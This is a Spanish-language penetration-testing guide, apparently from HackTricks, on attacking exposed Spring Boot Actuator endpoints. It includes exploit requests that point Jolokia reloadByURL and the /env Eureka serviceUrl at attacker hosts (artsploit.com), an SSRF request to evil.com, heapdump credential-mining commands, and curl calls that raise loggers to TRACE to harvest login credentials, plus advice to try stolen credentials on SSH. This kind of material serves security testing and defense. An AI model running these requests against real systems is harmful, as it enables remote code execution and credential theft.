7.9 KiB
Raw Blame History

Actuadores de Spring

{{#include ../../banners/hacktricks-training.md}}

Spring Auth Bypass

From https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png

Explotando Actuadores de Spring Boot

Consulta la publicación original en [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]

Puntos clave:

  • Los Actuadores de Spring Boot registran endpoints como /health, /trace, /beans, /env, etc. En las versiones 1 a 1.4, estos endpoints son accesibles sin autenticación. Desde la versión 1.5 en adelante, por defecto solo /health y /info no son sensibles, pero los desarrolladores a menudo desactivan esta seguridad.
  • Algunos endpoints de actuadores pueden exponer datos sensibles o permitir acciones dañinas:
  • /dump, /trace, /logfile, /shutdown, /mappings, /env, /actuator/env, /restart, y /heapdump.
  • En Spring Boot 1.x, los actuadores se registran bajo la URL raíz, mientras que en 2.x están bajo la ruta base /actuator/.

Técnicas de explotación:

  1. Remote Code Execution via '/jolokia':
  • El endpoint de actuator /jolokia expone la Jolokia Library, que permite acceso HTTP a MBeans.
  • La acción reloadByURL puede explotarse para recargar configuraciones de logging desde una URL externa, lo que puede conducir a blind XXE o Remote Code Execution vía configuraciones XML manipuladas.
  • Example exploit URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
  1. Config Modification via '/env':
  • Si están presentes las librerías de Spring Cloud, el endpoint /env permite la modificación de propiedades de entorno.
  • Las propiedades pueden manipularse para explotar vulnerabilidades, como la vulnerabilidad de deserialización de XStream en la serviceURL de Eureka.
  • Example exploit POST request:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
  1. Other Useful Settings:
  • Propiedades como spring.datasource.tomcat.validationQuery, spring.datasource.tomcat.url, y spring.datasource.tomcat.max-active pueden manipularse para varios exploits, como SQL injection o alterar cadenas de conexión a bases de datos.

Información adicional:

  • Una lista completa de actuadores por defecto puede encontrarse aquí.
  • El endpoint /env en Spring Boot 2.x usa formato JSON para la modificación de propiedades, pero el concepto general sigue siendo el mismo.

Temas relacionados:

  1. Env + H2 RCE:
  • Detalles sobre la explotación de la combinación del endpoint /env y la base de datos H2 pueden encontrarse aquí.
  1. SSRF on Spring Boot Through Incorrect Pathname Interpretation:
  • El manejo por parte del framework Spring de los matrix parameters (;) en pathnames HTTP puede explotarse para Server-Side Request Forgery (SSRF).
  • Example exploit request:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

HeapDump secrets mining (credentials, tokens, internal URLs)

Si /actuator/heapdump está expuesto, normalmente puedes obtener un snapshot completo del heap de la JVM que frecuentemente contiene secretos en vivo (credenciales DB, API keys, Basic-Auth, URLs de servicios internos, mapas de propiedades de Spring, etc.).

  • Descargar y triage rápido:
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
  • Análisis más profundo con VisualVM y OQL:
  • Abre el heapdump en VisualVM, inspecciona instancias de java.lang.String o ejecuta OQL para buscar secretos:
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
  • Extracción automatizada con JDumpSpider:
java -jar JDumpSpider-*.jar heapdump

Hallazgos típicos de alto valor:

  • Objetos Spring DataSourceProperties / HikariDataSource que exponen url, username, password.
  • Entradas OriginTrackedMapPropertySource que revelan management.endpoints.web.exposure.include, puertos de servicio y Basic-Auth embebido en URLs (p. ej., Eureka defaultZone).
  • Fragmentos planos de requests/responses HTTP incluyendo Authorization: Basic ... capturados en memoria.

Consejos:

  • Usa una wordlist enfocada en Spring para descubrir endpoints de actuator rápidamente (p. ej., SecLists spring-boot.txt) y comprueba siempre si /actuator/logfile, /actuator/httpexchanges, /actuator/env y /actuator/configprops también están expuestos.
  • Las credenciales extraídas del heapdump a menudo funcionan para servicios adyacentes y a veces para usuarios del sistema (SSH), así que pruebalas ampliamente.

Abusing Actuator loggers/logging to capture credentials

Si management.endpoints.web.exposure.include lo permite y /actuator/loggers está expuesto, puedes aumentar dinámicamente los niveles de log a DEBUG/TRACE para paquetes que manejan autenticación y procesamiento de requests. Combinado con logs legibles (vía /actuator/logfile o rutas de logs conocidas), esto puede leak credenciales enviadas durante flujos de login (p. ej., cabeceras Basic-Auth o parámetros de formularios).

  • Enumerar y subir loggers sensibles:
# List available loggers
curl -s http://target/actuator/loggers | jq .

# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
  • Encuentra dónde se escriben los logs y extrae:
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='

# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
  • Genera tráfico de login/autenticación y analiza el log en busca de credenciales. En setups de microservicios con un gateway delante del auth, habilitar TRACE para paquetes de gateway/security frecuentemente hace visibles las cabeceras y cuerpos de formularios. Algunos entornos incluso generan tráfico de login sintético periódicamente, haciendo la recolección trivial una vez que el logging es verboso.

Notas:

  • Restaura los niveles de log cuando termines: POST /actuator/loggers/<logger> con { "configuredLevel": null }.
  • Si /actuator/httpexchanges está expuesto, también puede mostrar metadata reciente de requests que puede incluir cabeceras sensibles.

References

{{#include ../../banners/hacktricks-training.md}}